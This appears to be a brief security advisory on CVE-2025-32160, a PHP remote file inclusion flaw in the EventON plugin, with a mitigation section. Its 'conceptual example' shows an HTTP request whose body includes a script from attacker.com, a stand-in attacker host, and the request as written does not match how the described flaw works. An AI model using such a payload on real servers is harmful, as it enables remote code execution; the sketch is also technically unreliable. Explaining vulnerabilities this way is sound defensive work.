Overview
The CVE-2025-32160 vulnerability represents a significant risk to systems running the EventON software, specifically versions through 2.3.2. This high-severity issue stems from the PHP Remote File Inclusion, arising from improper control of filename for include/require statement in PHP Program. The vulnerability could potentially lead to a system compromise or data leakage, making immediate attention and mitigation crucial.

How the Exploit Works
The exploit works by taking advantage of the improper control of filename for include/require statement in the PHP program within EventON. An attacker could manipulate the filename to include a file from a remote server, thus allowing the attacker’s code to be executed in the context of the affected server. This can lead to unauthorized access, data leakage, or even system compromise.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited is as follows:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/php
<?php include 'http://attacker.com/malicious_script.php'; ?>In this example, the attacker is able to include a malicious PHP script from their own server into the target’s server via the PHP include function. Once included, the malicious script could be executed, potentially leading to various adverse impacts.
Mitigation
The best form of mitigation is to apply the vendor’s patch for this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is recommended to limit the privileges of the web server and regularly monitor system logs for any unusual activity.
